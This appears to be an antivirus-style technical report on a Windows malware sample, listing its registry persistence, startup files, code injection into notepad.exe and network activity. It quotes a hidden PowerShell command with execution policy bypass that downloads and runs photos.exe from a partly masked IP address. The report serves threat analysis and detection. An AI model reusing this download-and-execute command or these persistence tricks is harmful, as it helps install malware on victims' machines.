Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\] 'Notepad' = '%ALLUSERSPROFILE%\Notepad.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\programs.bat
- %APPDATA%\microsoft\windows\start menu\programs\startup\programs.bat:start
Malicious functions
Downloads and executes
- http://13.##.212.147/pic/photos.exe as %appdata%\photos.exe
Injects code into
the following user processes:
- notepad.exe
Modifies file system
Creates the following files
- %TEMP%\abctfhghgdghghž.sct
- %APPDATA%\photos.exe
- %ALLUSERSPROFILE%\notepad.exe
- %ALLUSERSPROFILE%:applicationdata
Network activity
TCP
HTTP GET requests
- http://13.##.212.147/pic/Photos.exe
Miscellaneous
Creates and executes the following
- '%APPDATA%\photos.exe'
- '%ALLUSERSPROFILE%\notepad.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://13.##.212.147/pic/Photos.exe','%APPDATA%\Photos.exe');Start-Process '%...' (with hidden window)
